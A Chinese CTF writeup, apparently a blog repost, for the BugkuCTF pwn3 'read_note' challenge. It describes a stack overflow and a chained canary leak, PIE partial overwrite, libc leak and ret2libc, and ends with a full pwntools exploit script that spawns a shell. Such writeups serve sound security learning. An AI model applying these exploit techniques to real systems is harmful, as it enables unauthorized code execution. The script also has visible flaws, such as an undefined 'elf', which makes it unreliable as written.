欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BugkuCTF练习平台pwn3(read_note)的writeup

程序员文章站 2022-07-15 14:59:00
...

在Bugku的pwn题中,这道题分值最高,也是难度最大的一道。难点在于,第一要读懂题目找出漏洞,第二是要绕过各种保护机制,第三是exp的编写调试。看一眼程序的保护机制,发现除了RELRO所有保护全开,还是有点头疼的,毕竟我刚开始学pwn没几天,还没有做过PIE和Canary的题目,所以调试还是花了不少时间的。

首先分析程序,重要部分如下所示。一开始会让你输入一个路径,不存在的话就会报错退出,然后打印出文件内容;以上均可以忽略,没有任何用处。然后分别输入note的长度和内容,输入内容的长度取决于之前的note长度;如果实际输入的长度不是624,则再输入一遍,此时输入内容的长度变为0x270(624)。可以发现,v4的长度为0x258(600),而输入的长度可以任意控制,因此存在栈溢出。

  puts("write some note:");
  puts("  please input the note len:");
  *(_DWORD *)nbytes = 0;
  __isoc99_scanf("%d", nbytes);
  puts("please input the note:");
  read(0, &v4, *(unsigned int *)nbytes);
  puts("the note is: ");
  puts(&v4);
  if ( strlen(&v4) != 624 )
  {
    puts("error: the note len must be  624");
    puts("  so please input note(len is 624)");
    read(0, &v4, 0x270uLL);
  }
  return __readfsqword(0x28u) ^ v5;

确定了漏洞所在,下一个问题就是如何绕过NX、Canary、PIE和ASLR等保护机制了,下面一个个来说。

  1. NX很简单,ROP即可。
  2. Canary会很大程度上妨碍栈溢出,但结合本题的环境,输入一次后紧接着一个puts函数将输入内容打印出来,然后还有一次输入的机会,因此可以在第一次输入时,通过覆盖Canary最低位的\x00为其他值(Canary最低位必为\x00,而puts函数会一直输出直到碰见\x00位置),让puts函数泄露出Canary的内容,第二次输入时再将正确的Canary写回去,就可以绕过Canary的保护了。
  3. PIE会让程序加载的基地址随机化,但是随机化并不完全,最低三位是不会改变的,可以利用这个特性,通过覆盖最低的两位来有限的修改程序控制流,再想办法泄露出程序加载地址。
  4. 至于ASLR,利用ret2libc的方法,泄露出libc的版本,就可以算出system等函数的地址然后get shell了。

确定了思路,就可以着手开始边调试边写exp了。通过以上的分析,由于需要泄露三个内容,因此main函数需要执行四次,每次执行都会有两次输入,每次执行的工作分别如下:

  1. 第一次执行,需要在填满v4的长度600后,再溢出两个十六进制位,覆盖Canary的最低位,然后将Canary打印出来;再次输入时,将正确的Canary放在原来的位置,然后溢出栈上返回地址的低两位为\x20。为什么是\x20,是因为从ida中可以发现,vul函数最后retn的地址为0xd1f,main函数的起始地址是0xd20,前面的偏移都是相同的,因此可以通过这种方法绕过PIE再跳回main。
    BugkuCTF练习平台pwn3(read_note)的writeup
  2. 第二次执行,在填满600的基础上,需要再多溢出两个地址位数,也就是616。从栈分布可以看出,v4之后是Canary(0x7fffffffde88处),然后再填充一个地址位,就可以输出main+14的真实地址,也就可以得到程序加载的地址。之后使用跟之前同样的方法,再次回到main函数的起始位置。
    BugkuCTF练习平台pwn3(read_note)的writeup
  3. 第三次执行,要溢出的就是__lilbc_start_main的真实地址了,作为main函数的返回地址,从上图可以看出,可以从栈上泄露__libc_start_main+240的地址,依次利用LibcSearcher算出libc版本,然后得到system地址和/bin/sh字符串的地址。此时已经具备了get shell的条件,但由于第二次输入的长度所限,因此还要再跳回main函数,再次执行程序。
  4. 第四次执行,就可以将payload拼接好,然后发给程序了。由于是64位,传参需要rdi。利用ROPgadget搜索程序二进制,发现存在pop rdi;ret;的gadget,将其偏移再加上第二步得到的程序加载基地址,就可以得到gadget的真实地址,至此,payload拼接完成,可以拿到shell了。

理清了步骤后,调试也是个痛苦的过程,但同时能让新手的我学到不少东西,简单记录下遇到的坑吧。首先,sendline会多送出一个\x0a,好几次都是因为用了sendline而不是send导致程序走不下去。其次,堆栈平衡,由于每次都是从main开始,每次都会多执行一此push rbp,因此栈上的布局需要用gdb.attach一步步去看去调,毕竟还没熟练到能直接想到这个问题并算出来。第三,最后一次执行main的时候,第二次输入由于长度有限制,需要第一次就将完整payload送出去,一开始写的时候没有留神在这里卡了一会儿。最后,使用u64对sh.recv()接收时,不够位数的可以自行添加\x00补齐,或者网上exp所用的使用ljust函数更方便。

综上所述,我写的exp就是这样的。学习之初,很多地方写的还是很不到位,需要多加练习。

from pwn import *
from LibcSearcher import *
sh = process('./read_note')
#sh = remote('114.116.54.89',10000)
#context.log_level = 'debug'

pop_rdi_ret = 0x0000000000000e03

log.info('first time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload1 = 'a'*600
sh.sendline(payload1)
sh.recvuntil('a'*600)
canary = u64(sh.recv(8))-0xa
log.info('Canary:'+hex(canary))

sh.recvuntil('so please input note(len is 624)')
start_plt = elf.plt['__libc_start_main']
payload1 = 'a'*600 + p64(canary) + p64(1) + '\x20'
sh.send(payload1)


log.info('second time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload2 = 'a'*616
sh.send(payload2)
sh.recvuntil('a'*616)
main_addr = u64(sh.recv()[0:6] + '\x00\x00') - 0xe
base = main_addr - 0xd20
pop_rdi_ret_addr = base + pop_rdi_ret
log.info('base addr:'+str(hex(base)))

payload2 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload2)


log.info('third time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload3 = 'a'*648
sh.send(payload3)
sh.recvuntil('a'*648)
libc_start_addr = u64(sh.recv()[0:6] + '\x00\x00') - 240
log.info('__libc_start_main:'+str(hex(libc_start_addr)))
libc = LibcSearcher('__libc_start_main', libc_start_addr)
libc_base = libc_start_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload3 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload3)


log.info('fourth time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.send(payload4)
sh.recvuntil('so please input note(len is 624)')
sh.send(payload4)
sh.interactive()
相关标签: pwn学习